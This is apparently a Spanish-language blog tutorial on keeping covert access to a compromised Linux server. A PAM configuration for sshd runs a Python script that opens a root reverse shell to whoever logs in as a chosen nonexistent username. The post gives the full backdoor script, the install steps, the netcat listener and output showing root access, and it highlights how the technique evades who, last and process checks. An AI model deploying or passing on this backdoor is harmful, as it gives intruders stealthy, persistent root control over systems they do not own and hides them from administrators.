Reverse shell mediante PAM


Cuando se ha owneado un servidor se puede seguir accediendo a este de multitud de maneras:

  • Añadiendo claves ssh: El sysadmin puede percatarse de ello con facilidad.
  • Añadir usuario: Todavía es mas llamativo si cabe que añadir las keys ssh a un usuario existente.
  • Meter algo del estilo de tshd: Habrá un proceso sospechoso corriendo.

Pero en esta ocasión vamos a enfocarlo de forma distinta, vamos a lanzar una reverse shell desde el servidor comprometido hacia nosotros utilizando para ello PAM.

Esta técnica es bastante stealth ya que no hay ningún proceso extraño corriendo ni sockets a la escucha, tampoco hay usuarios creados en el sistema ni authorized_keys añadidas en ningún lado, el comando who no indica que nadie esté conectado y no se deja rastro en el last del sistema tan solo podrían percatarse de nuestra presencia si ven la conexión ssh a una ip desconocida.

Editamos la configuración para que PAM ejecute nuestro script:

vi /etc/pam.d/sshd
auth requisite pam_python.so /lib/security/looter.py

Instalamos lo necesario para que PAM sea compatible con python(Debian/Gentoo):

apt install libpam-python

En Gentoo no tenemos el ebuild parta libpam-python, así que lo alienizamos:

emerge -av app-arch/alien
wget http://ftp.br.debian.org/debian/pool/main/p/pam-python/libpam-python_1.0.7-1_amd64.deb
alien --to-tgz libpam-python_1.0.7-1_amd64.deb
mkdir libpam-python
mv libpam-python-1.0.7.tgz libpam-python
cd libpam-python
tar xvzf libpam-python-1.0.7.tgz
cp ./lib/x86_64-linux-gnu/security/pam_python.so /lib64/security/
chmod 755 /lib64/security/pam_python.so

El script en cuestión es el siguiente:

vi /lib/security/looter.py
import spwd
import crypt
import syslog
import os.path
import time
import socket
import subprocess
import os

def pam_sm_authenticate(pamh, flags, argv):
    if pamh.get_user() == 'samsepi0l':
        #syslog.openlog(facility=syslog.LOG_AUTH)
        #syslog.syslog("-- AUTHPAM -- pam_sm_authenticate")
        #syslog.syslog("-- AUTHPAM -- From: " + str(pamh.rhost) + " -- User: " + str(pamh.get_user())  + " -- Data: " + str(pamh.pamh))
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((pamh.rhost,7777))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])

    return pamh.PAM_SUCCESS

NOTA: La función pam_sm_authenticate se ejecuta cuando el usuario que intenta hacer login no existe, así que habrá que elegir un nombre de usuario inexistente en el sistema, en mi caso secretuser.

Asignamos los permisos necesarios:

chmod 600 /lib/security/looter.py

Reiniciamos el servicio SSH(Debian/Gentoo):

/etc/init.d/ssh restart
/etc/init.d/sshd restart

Dejamos un netcat escuchando para recibir la reverse shell:

KettleBell ~> nc -l -p 7777

Conectamos con el usuario mágico:

bagheera $ ~> ssh samsepi0l@kr0mtest2

En kr0mtest2 tan solo veremos estos logs:

Dec  8 13:00:45 kr0mtest2 sshd[26877]: Invalid user samsepi0l from X.X.X.X port 65108

Y recibimos la reverse shell:

KettleBell ~> nc -l -p 7777
sh-4.4# id
id
uid=0(root) gid=0(root) groups=0(root)

En el servidor podemos ver una conexión saliente realizada por sshd:

kr0mtest2 ~ # netstat -nputa|grep 7777
tcp        0      0 A.B.C.D:49106      E.F.G.H:7777      ESTABLISHED 26879/sshd: unknown

El comando who no muestra el usuario conectado:

kr0mtest2 ~ # who
root     pts/0        Dec 16 07:40 (X.X.X.X)

Y tampoco se ha dejado rastro en el comando last:

kr0mtest2 ~ # last|grep samsepi0l|wc -l
0
Si te ha gustado el artículo puedes invitarme a un redbull aquí.
Autor: kr0m -- 09/12/2019 23:31:08